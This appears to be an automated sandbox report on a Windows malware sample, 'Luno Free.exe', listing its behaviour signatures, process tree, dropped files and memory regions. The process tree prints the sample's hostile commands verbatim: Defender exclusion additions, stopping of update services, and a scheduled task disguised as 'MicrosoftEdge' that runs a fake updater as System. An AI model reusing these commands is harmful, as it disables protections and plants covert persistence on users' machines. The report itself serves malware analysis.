Analysis

  • max time kernel
    10s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/06/2024, 13:09

General

  • Target
    Luno Free.exe
  • Size 8.6MB
  • Sample240605-qdvcmaha69
  • SHA256 a4175b96d8bcc050a58aa9cd85b2d5b01317df61034a4d495a049669ae77cea5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3380
      • C:\Users\Admin\AppData\Local\Temp\Luno Free.exe
        "C:\Users\Admin\AppData\Local\Temp\Luno Free.exe"
        2⤵
        • Checks computer location settings
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4512
        • C:\Users\Admin\AppData\Local\Temp\vac bypass.exe
          "C:\Users\Admin\AppData\Local\Temp\vac bypass.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2752
        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2204
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
          PID:4188
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:2460
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:1956
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:3080
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:5024
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:4456
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
            PID:4716
            • C:\Windows\System32\powercfg.exe
              powercfg /x -hibernate-timeout-ac 0
              3⤵
                PID:372
              • C:\Windows\System32\powercfg.exe
                powercfg /x -hibernate-timeout-dc 0
                3⤵
                  PID:1168
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -standby-timeout-ac 0
                  3⤵
                    PID:4112
                  • C:\Windows\System32\powercfg.exe
                    powercfg /x -standby-timeout-dc 0
                    3⤵
                      PID:5096
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:4692
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
                      2⤵
                        PID:1492
                      • C:\Windows\System32\schtasks.exe
                        C:\Windows\System32\schtasks.exe /run /tn "MicrosoftEdge"
                        2⤵
                          PID:892
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:3892
                        • C:\Windows\System32\cmd.exe
                          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
                          2⤵
                            PID:1448
                            • C:\Windows\System32\sc.exe
                              sc stop UsoSvc
                              3⤵
                              • Launches sc.exe
                              PID:1488
                            • C:\Windows\System32\sc.exe
                              sc stop WaaSMedicSvc
                              3⤵
                              • Launches sc.exe
                              PID:4308
                            • C:\Windows\System32\sc.exe
                              sc stop wuauserv
                              3⤵
                              • Launches sc.exe
                              PID:4520
                            • C:\Windows\System32\sc.exe
                              sc stop bits
                              3⤵
                              • Launches sc.exe
                              PID:3944
                            • C:\Windows\System32\sc.exe
                              sc stop dosvc
                              3⤵
                              • Launches sc.exe
                              PID:2788
                          • C:\Windows\System32\cmd.exe
                            C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                            2⤵
                              PID:1184
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -hibernate-timeout-ac 0
                                3⤵
                                  PID:3132
                                • C:\Windows\System32\powercfg.exe
                                  powercfg /x -hibernate-timeout-dc 0
                                  3⤵
                                    PID:1772
                                  • C:\Windows\System32\powercfg.exe
                                    powercfg /x -standby-timeout-ac 0
                                    3⤵
                                      PID:116
                                    • C:\Windows\System32\powercfg.exe
                                      powercfg /x -standby-timeout-dc 0
                                      3⤵
                                        PID:4116
                                    • C:\Windows\System32\dialer.exe
                                      C:\Windows\System32\dialer.exe
                                      2⤵
                                        PID:3348
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
                                        2⤵
                                          PID:2024
                                        • C:\Windows\System32\dialer.exe
                                          C:\Windows\System32\dialer.exe
                                          2⤵
                                            PID:4532
                                          • C:\Windows\System32\dialer.exe
                                            C:\Windows\System32\dialer.exe
                                            2⤵
                                              PID:2620
                                          • C:\Program Files\Microsoft\Edge\updater.exe
                                            "C:\Program Files\Microsoft\Edge\updater.exe"
                                            1⤵
                                              PID:4316

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

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                                                  Downloads

                                                  powershell.exe.log

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                  • Size 2KB
                                                  • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                  • MD5 SHA1 SHA512

                                                  StartupProfileData-NonInteractive

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 944B
                                                  • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                                                  • MD5 SHA1 SHA512

                                                  Loader.exe

                                                  • Path C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                  • Size 1000KB
                                                  • SHA256 64d924559c4feeb520392272ff902286f0ac2fe3a52672c3a4f848b67de6808c
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  __PSScriptPolicyTest_wrlrnthb.tk0.ps1

                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrlrnthb.tk0.ps1
                                                  • Size 60B
                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                  • MD5 SHA1 SHA512

                                                  libcurl.dll

                                                  • Path C:\Users\Admin\AppData\Local\Temp\libcurl.dll
                                                  • Size 357KB
                                                  • SHA256 3f8da5d739115b83063d1b10675a2c0d3ed0e9df1f3a919da35915351c437c12
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  vac bypass.exe

                                                  • Path C:\Users\Admin\AppData\Local\Temp\vac bypass.exe
                                                  • Size 5.7MB
                                                  • SHA256 39ebcdbb6993787be2ed9d2b6668b9ee2707ca483a66b51d1302bfc610ba021b
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                                                  • Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                                  • Size 404B
                                                  • SHA256 a0ffa451532f9473c97d9f104ea36a65c63f6c694a53e0663b7b881bdeeda075
                                                  • MD5 SHA1 SHA512

                                                  powershell.exe.log

                                                  • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                  • Size 4KB
                                                  • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  StartupProfileData-NonInteractive

                                                  • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 1KB
                                                  • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                                                  • MD5 SHA1 SHA512

                                                  memory/432-70-0x0000018BFDB90000-0x0000018BFDBB7000-memory.dmp

                                                  memory/432-71-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/620-54-0x0000016153850000-0x0000016153877000-memory.dmp

                                                  memory/620-55-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/620-53-0x0000016153430000-0x0000016153451000-memory.dmp

                                                  memory/680-59-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/680-58-0x0000021DC7270000-0x0000021DC7297000-memory.dmp

                                                  memory/872-78-0x0000015FA0330000-0x0000015FA0357000-memory.dmp

                                                  memory/872-79-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/964-66-0x000001D8B23C0000-0x000001D8B23E7000-memory.dmp

                                                  memory/964-67-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1020-63-0x0000029E38390000-0x0000029E383B7000-memory.dmp

                                                  memory/1020-64-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1108-81-0x000001F6623D0000-0x000001F6623F7000-memory.dmp

                                                  memory/1108-82-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1144-84-0x00000170499D0000-0x00000170499F7000-memory.dmp

                                                  memory/1144-85-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1152-87-0x000001AFA6CC0000-0x000001AFA6CE7000-memory.dmp

                                                  memory/1152-88-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1160-90-0x000001DB3D6F0000-0x000001DB3D717000-memory.dmp

                                                  memory/1160-91-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1264-95-0x0000021B2F160000-0x0000021B2F187000-memory.dmp

                                                  memory/1264-96-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/1292-98-0x000001BEB9360000-0x000001BEB9387000-memory.dmp

                                                  memory/1292-99-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

                                                  memory/2204-32-0x000002382CD90000-0x000002382CDB2000-memory.dmp

                                                  memory/2204-26-0x00007FFBF3753000-0x00007FFBF3755000-memory.dmp

                                                  memory/2752-25-0x00007FF7CC440000-0x00007FF7CCA05000-memory.dmp

                                                  memory/3892-351-0x0000027549500000-0x000002754950A000-memory.dmp

                                                  memory/3892-352-0x0000027549560000-0x000002754957A000-memory.dmp

                                                  memory/3892-348-0x0000027549300000-0x00000275493B5000-memory.dmp

                                                  memory/3892-347-0x00000275492E0000-0x00000275492FC000-memory.dmp

                                                  memory/3892-349-0x00000275492D0000-0x00000275492DA000-memory.dmp

                                                  memory/3892-350-0x0000027549520000-0x000002754953C000-memory.dmp

                                                  memory/3892-355-0x0000027549550000-0x000002754955A000-memory.dmp

                                                  memory/3892-353-0x0000027549510000-0x0000027549518000-memory.dmp

                                                  memory/3892-354-0x0000027549540000-0x0000027549546000-memory.dmp

                                                  memory/4512-21-0x0000000000400000-0x0000000000EEE000-memory.dmp

                                                  memory/4512-0-0x0000000000400000-0x0000000000EEE000-memory.dmp

                                                  memory/4512-1-0x0000000000400000-0x0000000000EEE000-memory.dmp

                                                  memory/4692-41-0x00007FFC11F60000-0x00007FFC1201E000-memory.dmp

                                                  memory/4692-40-0x00007FFC12690000-0x00007FFC12885000-memory.dmp